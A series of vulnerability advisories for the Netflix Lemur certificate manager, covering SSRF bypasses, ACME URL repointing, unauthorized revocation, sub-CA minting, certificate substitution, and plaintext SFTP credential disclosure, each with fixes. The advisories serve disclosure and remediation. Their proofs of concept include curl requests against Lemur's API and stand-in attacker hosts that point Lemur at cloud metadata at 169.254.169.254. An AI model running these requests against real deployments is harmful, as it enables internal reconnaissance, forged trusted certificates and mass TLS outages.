The SSRF mitigation added for GHSA-54vg-pfh7-jq95 (_validate_revocation_url() in lemur /certificates/verify.py) can be bypassed. An operator-role user who uploads a certificate with attacker-controlled CRL/OCSP extensions can still make Lemur reach internal destinations (RFC1918, loopback, link-local 169.254.169.254) during verification.

Affected version

Tested against main (the commit that introduced _validate_revocation_url). The 1.9.2 release predates that guard and is vulnerable to the original SSRF (GHSA-54vg-pfh7-jq95) directly; this bypass applies to the unreleased mitigation in main. Please map the affected range to whichever release will first contain _validate_revocation_url.

Bypass 1 — HTTP redirect (deterministic)

The guard validates only the URL in the certificate; the CRL fetch then follows redirects without re-validating the target:

# lemur/certificates/verify.py:174
response = requests.get(point, timeout=(3.05, 6))   

The attacker hosts the CRL URL on a public host they control (passes the guard); that host returns 302 Location: http://169.254.169.254/.... requests follows it to the internal target the guard never inspected.

Bypass 2 — DNS rebinding / TOCTOU (probabilistic)

The guard resolves once during validation; the fetch re-resolves independently:

# lemur/certificates/verify.py:51
addr = ipaddress.ip_address(socket.gethostbyname(hostname))

A low-TTL attacker name that answers a public IP at check time and an internal IP at fetch time passes the guard but is fetched internally. Same gap affects the OCSP path (openssl ocsp -url <url>, verify.py:90-99).

Relationship to GHSA-54vg-pfh7-jq95

Incomplete-fix of that mitigation, not a duplicate. Bypass 1 is not mentioned there; bypass 2 is the rebinding gap that advisory's remediation text anticipated ("pins the resolved IP") but the code does not implement.

Affected endpoint

POST /api/1/certificates/upload (operator role) → verify_string → crl_verify / ocsp_verify. Triggered when verification runs (e.g. the check_revocation task).

PoC

1. Generate a cert with crlDistributionPoints = URI:http://attacker.example/crl.
2. That host returns 302 Location: http://169.254.169.254/latest/meta-data/... (bypass 1), or use a low-TTL rebinding name (bypass 2).
3. Upload via POST /api/1/certificates/upload as an operator user.
4. Trigger lemur certificate check_revocation.
5. Observe the request reach the internal address (tcpdump -nni any host 169.254.169.254).

Impact

Blind SSRF from the Lemur host: reach internal services and instance metadata (169.254.169.254 without IMDSv2). Response is parsed as a CRL and discarded — reachability/side-effects, not response exfiltration.

Remediation

• allow_redirects=False on CRL fetches (or re-validate every redirect hop).
• Resolve once, pin the IP, connect to the pinned address; route the OCSP URL through the same check.
• Reject names with any internal A/AAAA record.

Summary

The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

Detail

Defect A - allowlist only at creation. _validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:

# lemur/authorities/views.py:417-424  (Authorities.put)
return service.update(
    authority_id,
    owner=data["owner"], description=data["description"],
    active=data["active"], roles=data["roles"],
    options=data.get("options")          # <- acme_url lives here, NO re-validation
)

AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."

Defect B - ACME client follows server-supplied URLs. setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client:

1. get_directory(acme_url) -> server returns newNonce, newOrder, revokeCert, keyChange URLs.
2. new_order() -> server returns finalize and authorizations URLs.
3. poll(), finalize_order(), cert download -> all hit server-chosen URLs.

A malicious ACME server can return internal URLs for all of these.

Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.

Source-to-sink trace:

PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
  -> service.update(options={"acme_url":"https://evil.attacker.tld/dir"})  <- no re-validation
… next certificate issuance against this authority …
  setup_acme_client_no_retry reads acme_url=evil.attacker.tld
    -> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
    -> Lemur POSTs JWS-signed request to internal URL

Steps to Reproduce (POC)

Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:

# Minimal: a directory endpoint that points "newOrder" at an internal target
{
  "newNonce": "https://evil.attacker.tld/nonce",
  "newOrder": "http://169.254.169.254/latest/meta-data/",   # <- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}

Step 2 - Attacker (authority-role member) repoints an existing ACME authority:

curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"attacker@corp.com",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
  }'

Step 3 - Issue a certificate against the repointed authority (via UI/API):

curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
       "authority":{"name":"letsencrypt"},"validityYears":1}'

The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

Note: This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

Impact

• JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
• Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
• The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
• Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

Fix

1. Re-run _validate_acme_url inside authorities/service.update / update_options, or make acme_url immutable after authority creation.
2. In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured acme_url hostname.

Summary

Repo under test: https://github.com/Netflix/lemur

PUT /api/1/certificates/<id>/revoke authorizes the caller against the Lemur database row (creator == current user, or CertificatePermission over the row's roles) rather than the underlying CA-side certificate identity. Separately, POST /api/1/certificates/upload lets any user passing StrictRolePermission create a new Certificate row while freely supplying body, authority (resolved by id/name with no AuthorityPermission check) and external_id; there is no uniqueness constraint on body, serial, or external_id.

An attacker can therefore read a target certificate's public body, authority.id, and external_id via GET /certificates/<id>, upload a duplicate row, and revoke that duplicate. The creator-bypass skips CertificatePermission, the empty-endpoints check passes because the duplicate has none, and service.revoke() then revokes at the CA using the attacker-supplied body (ACME) or external_id (DigiCert/Entrust/Google CA/CFSSL) under the authority's stored CA credentials — revoking the real production certificate.

Affected route

POST /api/1/certificates/upload → PUT /api/1/certificates/<dup_id>/revoke

Affected code

• lemur/certificates/views.py:651 — only StrictRolePermission().can() gates upload; no AuthorityPermission check
• lemur/certificates/schemas.py:391 — CertificateUploadInputSchema accepts caller-supplied authority and external_id
• lemur/schemas.py:107 — AssociatedAuthoritySchema resolves any authority by id/name with no permission check
• lemur/certificates/service.py:489 — upload() binds the caller-supplied authority onto the new row
• lemur/certificates/models.py:119 — only name is unique; body/serial/external_id are not, and get_or_increase_name() auto-suffixes on collision
• lemur/certificates/views.py:1677 — if g.current_user != cert.user: ... CertificatePermission ... — creator of the duplicate row bypasses the owner check
• lemur/certificates/views.py:1687 — if cert.endpoints: ... — duplicate row has no endpoints, so the deployed-cert safeguard is bypassed
• lemur/certificates/service.py:1120 — plugin = plugins.get(certificate.authority.plugin_name); plugin.revoke_certificate(certificate, reason)
• lemur/plugins/lemur_acme/acme_handlers.py:268 — ACME revokes by certificate.body
• lemur/plugins/lemur_digicert/plugin.py:477, lemur/plugins/lemur_entrust/plugin.py:321 — commercial CAs revoke by certificate.external_id
• lemur/certificates/schemas.py:290 — CertificateOutputSchema exposes external_id, body, authority to any authenticated user

Impact

A low-privileged authenticated insider (or holder of a stolen non-admin token/API key) can revoke any certificate managed by Lemur — including high-value certificates they do not own and certificates currently attached to live endpoints — directly at the issuing CA. Iterating over GET /certificates yields fleet-wide revocation (mass DoS of TLS endpoints) without ever passing an AuthorityPermission or CertificatePermission check on the victim certificate. This is exactly the "Revocation as DoS vector" scenario flagged in the threat model and additionally defeats the built-in "cannot revoke while attached to endpoint" safeguard.

Root cause

Revocation authority is bound to ownership of the Lemur DB row, not to the CA-side certificate identity. Because upload allows creating a second row that aliases the same CA-side certificate (same body / external_id / authority) without any uniqueness constraint or AuthorityPermission check, the attacker can manufacture a row they own and then exercise the creator-bypass on revoke. The endpoint-attached guard inspects only the duplicate row's cert.endpoints, which is empty.

Validated evidence

Static path trace, confirmed by code inspection (validation status: CONFIRMED):

• Upload is gated only by StrictRolePermission (default-open to any non-read-only user) and accepts attacker-chosen authority + external_id + body without an AuthorityPermission check.
• Certificate.body / external_id have no uniqueness constraint, so a duplicate row is created.
• The revoke endpoint short-circuits the owner check when caller is the row creator, and the endpoint-attached guard inspects only the duplicate row.
• Issuer plugins revoke at the CA using body / external_id taken from the duplicate row under the authority's stored CA credentials.

Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA — revoking at a real CA is destructive).

Preconditions: attacker is an authenticated Lemur user holding any role other than read-only. <VICTIM_CERT_ID> is any certificate id readable via GET /api/1/certificates.

# 1. Read the victim's body / authority / external_id (exposed to any authenticated user)
curl -sS "<TARGET_BASE_URL>/api/1/certificates/<VICTIM_CERT_ID>" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  | jq '{body, external_id, authority: .authority.id}'

# 2. Upload a duplicate row aliasing the same CA-side certificate
curl -sS -X POST "<TARGET_BASE_URL>/api/1/certificates/upload" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "victim-dup",
        "owner": "attacker@example.com",
        "body": "<VICTIM_BODY_PEM>",
        "authority": {"id": <VICTIM_AUTHORITY_ID>},
        "externalId": "<VICTIM_EXTERNAL_ID>"
      }'
# → returns {"id": <DUP_ID>, ...}; attacker is now cert.user of <DUP_ID>

# 3. Revoke the duplicate — issuer plugin revokes at the CA by body/external_id
curl -sS -X PUT "<TARGET_BASE_URL>/api/1/certificates/<DUP_ID>/revoke" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"crlReason": "unspecified"}'

Static-trace validation command from the source report:

grep -n 'StrictRolePermission' lemur/certificates/views.py | grep -v Authority
grep -n 'cert.authority = kwargs.get' lemur/certificates/service.py
grep -n 'g.current_user != cert.user' lemur/certificates/views.py
grep -n 'certificate.external_id\|certificate.body' \
  lemur/plugins/lemur_acme/acme_handlers.py \
  lemur/plugins/lemur_digicert/plugin.py \
  lemur/plugins/lemur_entrust/plugin.py

Source artifact: audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl (run_050, finding cluster lemur-revoke-via-duplicate, 2/100 runs).

Suggested fix

Decouple CA-side revocation authority from Lemur row ownership:

1. On POST /certificates/upload, if authority is supplied enforce AuthorityPermission for that authority, and reject/ignore caller-supplied external_id.
2. Before calling plugin.revoke_certificate, look up all Certificate rows sharing the same (authority_id, serial) or body and require CertificatePermission on every match (and run the endpoint-attached check against all matches).
3. Consider a DB uniqueness constraint or dedup on (authority_id, serial) so a second row for the same CA-issued certificate cannot be created.
4. Stop exposing external_id in CertificateOutputSchema to non-owners.

Summary

The CertificateExport handler in lemur/certificates/views.py nests its entire ownership / CertificatePermission check inside an if plugin.requires_key: branch. When the selected export plugin advertises requires_key = False, the authorization check is skipped entirely and any authenticated user can invoke plugin.export(cert.body, cert.chain, cert.private_key, options) against a certificate they do not own. The handler additionally writes a "key_view" audit-log event for every call, regardless of whether the plugin actually accessed the private key, polluting the audit trail with false positives.

Root Cause

lemur/certificates/views.py:1573:

if plugin.requires_key:
    if not cert.private_key:
        return (..., 400)
    else:
        if g.current_user != cert.user:
            owner_role = role_service.get_by_name(cert.owner)
            permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
            if not permission.can():
                return (..., 403)
 
log_service.create(g.current_user, "key_view", certificate=cert)   # always logged
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, cert.private_key, options
)

The authorization gate is structurally inside the if plugin.requires_key: block. With requires_key = False, control falls straight through to plugin.export(...) with no ownership check. The cert.private_key is passed to the plugin regardless of the flag — the flag only describes what the plugin advertises it needs, not what it actually receives.

The only currently shipping ExportPlugin with requires_key = False is JavaTruststoreExportPlugin (lemur/plugins/lemur_jks/plugin.py), whose export() ignores the key argument and emits a public-only Java truststore. The present-day data exposure is therefore limited to public certificate material. The bug is nonetheless filed as a real authorization gap because:

1. The structural defect is latent and silent - any future requires_key = False ExportPlugin that does read cert.private_key will inherit the bypass with no test or code-review signal.
2. The unconditional log_service.create(..., "key_view", ...) call falsely records key-view events for callers who never viewed a key, weakening incident-response signal.

Affected Endpoints

| Method | Path | Source | |---|---|---| | POST | /api/1/certificates/<id>/export | lemur/certificates/views.py:1573 |

Impact

In the current codebase:

• Any authenticated user can mint a Java truststore (java-truststore-jks plugin) containing any certificate's public body and chain, without owning the certificate or holding a role with permission over it.
• The audit log records a key_view event for the calling user against that certificate, despite no private key having been accessed. Defenders investigating apparent key-view events will encounter false positives that they cannot distinguish from genuine accesses.

Latent risk:

• A future ExportPlugin author who sets requires_key = False because their plugin can operate without a key (e.g., for a fall-back code path) but still uses the key when one is provided will silently leak private keys to any authenticated user. The same code review that approves the plugin will not flag this — the authorization invariant is held by a structurally distant if-branch in the view, not by the plugin itself.

Remediation

Lift the authorization check out of the if plugin.requires_key: block so it runs for every export call:

# Authorization first, unconditionally.
if g.current_user != cert.user:
    owner_role = role_service.get_by_name(cert.owner)
    permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
    if not permission.can():
        return (dict(message="You are not authorized to export this certificate."), 403)
 
if plugin.requires_key:
    if not cert.private_key:
        return (dict(message="Plugin requires a key but none is present."), 400)
    log_service.create(g.current_user, "key_view", certificate=cert)   # only when key actually accessed
 
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, cert.private_key, options
)

This makes the authorization gate independent of the plugin's requires_key flag and correctly scopes the key_view audit event to calls that actually involve key access.

Steps to Reproduce

1. Set up Lemur with default configuration. Create an admin user admin and a non-admin user eve with the read-only role (or any role without certificate permissions).

2. As admin, issue a certificate. Note its id.

3. As eve, invoke export with the java-truststore-jks plugin:

   curl -X POST https://lemur.local/api/1/certificates/<cert_id>/export \
        -H "Authorization: Bearer <eve_jwt>" \
        -H "Content-Type: application/json" \
        -d '{
              "plugin": {
                "slug": "java-truststore-jks",
                "plugin_options": [
                  {"name": "passphrase", "value": "test"}
                ]
              }
            }'

4. Observe HTTP 200 with a base64-encoded JKS truststore in the response. eve had no permission over admin's certificate, yet successfully exported its public material.

5. Inspect the audit log table or lemur logs list:

   psql lemur -c "SELECT user_id, log_type, certificate_id, logged_at FROM logs
                  WHERE certificate_id = <cert_id> ORDER BY logged_at DESC LIMIT 1;"

The log row shows log_type = 'key_view' for eve against admin's certificate, despite no private key actually being accessed by the truststore plugin - confirming the audit-log pollution facet of the bug.

Summary

Repo under test: https://github.com/Netflix/lemur

When ADMIN_ONLY_AUTHORITY_CREATION=False (an explicitly supported and documented configuration), POST /api/1/authorities with type=subca never verifies that the caller holds AuthorityPermission on the supplied parent authority. The parent field is resolved by AssociatedAuthoritySchema via a raw fetch_objects(Authority, data) lookup, then passed straight through service.create → mint → cryptography-issuer.create_authority, which loads options["parent"].authority_certificate.private_key and signs a brand-new intermediate CA on the caller's behalf.

Any authenticated non-read-only user can therefore mint a sub-CA chained to any internal root whose private key Lemur holds — including roots they hold no role on — attach a role they already belong to, and immediately issue or offline-sign trusted leaf certificates for arbitrary names.

Affected route

POST /api/1/authorities (with type=subca)

Affected code

• lemur/authorities/views.py:231 — gates only on AuthorityCreatorPermission() + StrictRolePermission(); no AuthorityPermission on data['parent']
• lemur/authorities/schemas.py:58 — parent = fields.Nested(AssociatedAuthoritySchema); validate_subca only checks presence
• lemur/schemas.py:107 — AssociatedAuthoritySchema.get_object → fetch_objects(Authority, data) resolves any authority by id/name with no permission check
• lemur/plugins/lemur_cryptography/plugin.py:40 — private_key = options["authority"].authority_certificate.private_key (set from options["parent"]) signs the new intermediate
• lemur/auth/permissions.py:62 — AuthorityCreatorPermission becomes always-allow when ADMIN_ONLY_AUTHORITY_CREATION=False
• lemur/certificates/views.py:538 — is_private_authority (true for cryptography-issuer) skips USER_DOMAIN_AUTHORIZATION_PROVIDER for subsequent leaf issuance

Impact

In deployments that set ADMIN_ONLY_AUTHORITY_CREATION=False to enable self-service CA creation, any authenticated non-read-only user — with zero permission on a given internal root CA — can obtain a working intermediate CA chained to that root. They can then:

• Issue TLS certificates for arbitrary names trusted by every relying party that trusts the internal root, bypassing LEMUR_ALLOWED_DOMAINS, sensitive-domain flags, and the per-user domain-authorization plugin.
• Export the sub-CA private key and sign end-entity certificates entirely outside Lemur, defeating all in-product issuance controls.

This converts "can create a self-contained test CA" into "can mint trusted certs under any internal PKI root in the organisation". The ADMIN_ONLY_AUTHORITY_CREATION documentation does not warn operators of this consequence.

Root cause

AuthoritiesList.post evaluates AuthorityCreatorPermission (a global "may create authorities" flag) and StrictRolePermission, but never evaluates AuthorityPermission(parent.id, parent.roles) against the caller-supplied parent. AssociatedAuthoritySchema is a pure lookup schema with no authz hook, and neither authorities.service.create nor mint re-check before invoking issuer_plugin.create_authority(options). The bundled cryptography-issuer then uses the parent's stored private key directly.

Validated evidence

Static trace, confirmed by code inspection (validation status: CONFIRMED):

• parent is loaded via AssociatedAuthoritySchema (raw fetch_objects), passed unchecked through views.post → service.create → mint → plugin.create_authority → issue_certificate, where the parent authority's stored private key is read and used to sign the new intermediate.
• No call to AuthorityPermission(parent.id, ...) exists anywhere on this path.
• Precondition ADMIN_ONLY_AUTHORITY_CREATION=False is an explicitly supported config (docs/administration.rst:517).

Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA).

Preconditions: ADMIN_ONLY_AUTHORITY_CREATION=False; attacker is an authenticated Lemur user holding any role other than read-only; <PARENT_AUTHORITY_ID> is any internal cryptography-issuer root CA the attacker holds no role on; <ATTACKER_ROLE> is any role the attacker already belongs to.

curl -sS -X POST "<TARGET_BASE_URL>/api/1/authorities" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "attacker-subca",
        "owner": "attacker@example.com",
        "description": "poc",
        "type": "subca",
        "parent": {"id": <PARENT_AUTHORITY_ID>},
        "plugin": {"slug": "cryptography-issuer"},
        "roles": [{"name": "<ATTACKER_ROLE>"}],
        "commonName": "attacker-intermediate",
        "validityYears": 1
      }'

The response contains a new authority whose authority_certificate is signed by <PARENT_AUTHORITY_ID>'s private key. The caller is recorded as creator and holds <ATTACKER_ROLE> on it, so POST /api/1/certificates against the new authority succeeds (and skips allowed_issuance_for_domain because is_private_authority is true).

Static-trace validation command from the source report:

grep -n 'parent' lemur/authorities/schemas.py lemur/authorities/views.py lemur/authorities/service.py \
  && sed -n '37,55p' lemur/plugins/lemur_cryptography/plugin.py

Source artifact: audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl (run_022, finding cluster lemur-subca-parent-authz, 5/100 runs).

Suggested fix

In AuthoritiesList.post (or authorities.service.create), when data.get('parent') is present, enforce AuthorityPermission(parent.id, [r.name for r in parent.roles]).can() before invoking the issuer plugin, regardless of ADMIN_ONLY_AUTHORITY_CREATION. Additionally, update the ADMIN_ONLY_AUTHORITY_CREATION documentation to state that disabling it currently grants every authenticated user the ability to chain sub-CAs off any internal root whose private key Lemur holds. Consider also requiring admin (or an explicit per-parent capability) for any type=subca creation independent of the global flag.

Summary

Repo under test: https://github.com/Netflix/lemur

The certificate create and upload endpoints accept a replaces[] (alias replacements) array that is resolved to live Certificate ORM objects with no ownership or CertificatePermission check on the referenced certificates. The SQLAlchemy Certificate.replaces append listener then immediately sets victim.notify = False and populates victim.replaced. From that point the victim certificate is excluded from auto-reissue, its expiration notifications are silenced, and the periodic certificate_rotate Celery task deploys the attacker's certificate (endpoint.certificate.replaced[0]) onto every endpoint serving the victim certificate.

Any authenticated non-read-only user can therefore silently substitute their own certificate onto production load balancers and Kubernetes secrets they hold no role on, while suppressing the legitimate certificate's lifecycle automation.

Affected route

POST /api/1/certificates POST /api/1/certificates/upload PUT /api/1/certificates/<id>

Affected code

• lemur/certificates/schemas.py:402 — replaces = fields.Nested(AssociatedCertificateSchema, missing=[], many=True) accepted on create/upload/edit
• lemur/schemas.py:152 — AssociatedCertificateSchema resolves any certificate by id/name via fetch_objects(Certificate, data) with no permission check
• lemur/certificates/views.py:651 — only StrictRolePermission().can() gates /certificates/upload; no check on data['replaces']
• lemur/certificates/models.py:506 — @event.listens_for(Certificate.replaces, 'append') sets value.notify = False on the victim
• lemur/certificates/service.py:277 — get_all_pending_reissue() filters not_(Certificate.replaced.any()), excluding the victim
• lemur/certificates/cli.py:347 — request_rotation(endpoint, endpoint.certificate.replaced[0], message, commit) deploys the attacker cert
• lemur/common/celery.py:638 — periodic certificate_rotate task runs cli_certificate.rotate(..., commit=True)
• lemur/deployment/service.py:17 — endpoint.source.plugin.update_endpoint(endpoint, new_cert) pushes to ELB/CloudFront/ACM/K8s

Impact

An authenticated insider or holder of a stolen low-privilege token can, without holding any role on a target certificate:

1. Upload a self-signed or attacker-minted certificate listing arbitrary high-value production certificate IDs in replaces.
2. Immediately disable expiration notifications and auto-reissue for those production certificates.
3. On the next scheduled certificate_rotate Celery run, have the attacker's certificate pushed to every endpoint (AWS ELB/CloudFront/ACM, Kubernetes, SFTP, etc.) currently serving the victim certificate, while the legitimate certificate is detached.

Minimum impact is fleet-wide TLS denial of service equivalent to mass revocation. Where internal clients trust the substituted chain (or combined with the sub-CA finding LEMUR-BUG-07), it escalates to TLS interception. This directly violates the invariant that a user may only modify or revoke a certificate if they are its owner, a member of an owning role, or an administrator.

Root cause

AssociatedCertificateSchema.get_object calls fetch_objects(Certificate, data) and returns the ORM rows verbatim. No caller on the create/upload/edit path iterates the resolved replaces list to enforce CertificatePermission before the model assigns them, and the Certificate.replaces append event listener mutates the victim row (notify = False) as a side effect of ORM collection assignment. The direct revoke endpoint does enforce CertificatePermission, but this replaces path achieves an equivalent or worse outcome while bypassing it entirely.

Validated evidence

Static trace, confirmed by code inspection (validation status: CONFIRMED):

• replaces is accepted in CertificateInputSchema / CertificateUploadInputSchema and resolved via fetch_objects(Certificate, ...) with no per-object authorization.
• grep -n CertificatePermission lemur/certificates/views.py shows the check is applied to PUT/DELETE/revoke/export paths but never to the replaces payload of POST /certificates or POST /certificates/upload.
• The Celery certificate_rotate task and cli.rotate() consume Endpoint.replaced.any() unconditionally and deploy replaced[0] with commit=True.

Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA).

Preconditions: attacker is an authenticated Lemur user holding any role other than read-only (default StrictRolePermission config). <VICTIM_CERT_ID> is any certificate id readable via GET /api/1/certificates.

# 1. Upload an attacker-controlled cert that "replaces" the victim
curl -sS -X POST "<TARGET_BASE_URL>/api/1/certificates/upload" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "attacker-replacement",
        "owner": "attacker@example.com",
        "body": "-----BEGIN CERTIFICATE-----\n<ATTACKER_CERT_PEM>\n-----END CERTIFICATE-----",
        "privateKey": "-----BEGIN PRIVATE KEY-----\n<ATTACKER_KEY_PEM>\n-----END PRIVATE KEY-----",
        "replaces": [{"id": <VICTIM_CERT_ID>}]
      }'

# 2. Observe victim.notify is now false and victim is queued for rotation
curl -sS "<TARGET_BASE_URL>/api/1/certificates/<VICTIM_CERT_ID>" \
  -H "Authorization: Bearer <AUTH_TOKEN>" | jq '.notify, .replaced'

# 3. On the next certificate_rotate Celery beat tick, the attacker cert is
#    deployed to every endpoint that was serving <VICTIM_CERT_ID>.

Static-trace validation command from the source report:

grep -n 'replaces' lemur/certificates/schemas.py lemur/certificates/views.py lemur/schemas.py \
  && grep -n 'CertificatePermission' lemur/certificates/views.py

Source artifact: audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl (run_083, finding cluster lemur-replaces-unauth, 7/100 runs).

Suggested fix

Before persisting replaces/replacements on certificate create, upload, and edit, iterate each referenced certificate and enforce the same CertificatePermission(owner_role, cert.roles) check used by the revoke endpoint (views.py:1677-1685); reject with 403 if the caller is not creator/owner/role-member/admin for any target. Additionally, move the value.notify = False side effect out of the SQLAlchemy append listener so an authorization failure cannot leave a victim certificate partially mutated, and emit an audit_log entry whenever a certificate is marked as replaced.

Summary

Lemur's destination read endpoints -- GET /api/1/destinations and GET /api/1/destinations/<id> -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (POST/PUT/DELETE) are gated with @admin_permission.require(http_exception=403), but the two read handlers are protected only by login_required (inherited from AuthenticatedResource). They do not even exclude read-only users.

The built-in SFTP destination plugin (sftp-destination) stores its password and privateKeyPass options in cleartext in the destinations.options column (the plugin's own docstring states "Passwords are not encrypted and stored as a plain text."). Because DestinationOutputSchema serializes every option value verbatim, any authenticated principal -- including a read-only user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.

Details

Read endpoints lack the authorization that their write siblings enforce:

lemur/destinations/views.py

class DestinationsList(AuthenticatedResource):
    @validate_schema(None, destinations_output_schema)
    def get(self):                       # <-- only login_required; no admin/read-only gate
        ...
        return service.render(args)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def post(self, data=None): ...

class Destinations(AuthenticatedResource):
    @validate_schema(None, destination_output_schema)
    def get(self, destination_id):       # <-- only login_required; no admin/read-only gate
        return service.get(destination_id)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def put(self, destination_id, data=None): ...

    @admin_permission.require(http_exception=403)   # write path IS gated
    def delete(self, destination_id): ...

The output schema emits all option values, including secret ones:

lemur/destinations/schemas.py

class DestinationOutputSchema(LemurOutputSchema):
    ...
    options = fields.List(fields.Dict())          # raw option dicts, incl. {"name":"password","value":...}

    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]   # copied verbatim into plugin block too
            ...
        return data

options is the raw JSONType DB column (lemur/destinations/models.py), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:

lemur/plugins/lemur_sftp/plugin.py

"""
    Passwords are not encrypted and stored as a plain text.
"""
options = [
    ...
    {"name": "password",       "type": "str", "required": False, ...},   # plaintext
    {"name": "privateKeyPass", "type": "str", "required": False, ...},   # plaintext
    ...
]

There is no read-only enforcement on these GET handlers (no StrictRolePermission() call), so even users explicitly restricted to read-only access can read the secrets.

PoC

Reproduction of Lemur's exact serialization path (verbatim DestinationOutputSchema + PluginOutputSchema, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:

from marshmallow import fields, post_dump, Schema

class PluginOutputSchema(Schema):                 # verbatim from lemur/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to="pluginOptions")
    slug = fields.String(); title = fields.String()

class DestinationOutputSchema(Schema):            # verbatim from lemur/destinations/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)
    options = fields.List(fields.Dict())
    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]
            for option in data["plugin"]["pluginOptions"]:
                if "export-plugin" in option["type"]:
                    option["value"]["pluginOptions"] = option["value"]["plugin_options"]
        return data

class Destination:                                # a stored SFTP destination row
    id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True
    options = [
        {"name": "host", "type": "str", "value": "10.0.5.20"},
        {"name": "user", "type": "str", "value": "deploy"},
        {"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
        {"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"},
    ]
    plugin = {"slug": "sftp-destination", "title": "SFTP",
              "description": "Allow the uploading of certificates to SFTP",
              "options": [], "id": 1, "label": None, "active": None}

out = DestinationOutputSchema().dump(Destination()).data
import json; print(json.dumps(out))
assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out)
assert "rsa-key-passphrase-xyz" in json.dumps(out)

Output (truncated) -- the plaintext secrets appear in both options and plugin.pluginOptions:

{"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"},
 {"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...],
 "plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...],
 "slug":"sftp-destination", ...}}

End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:

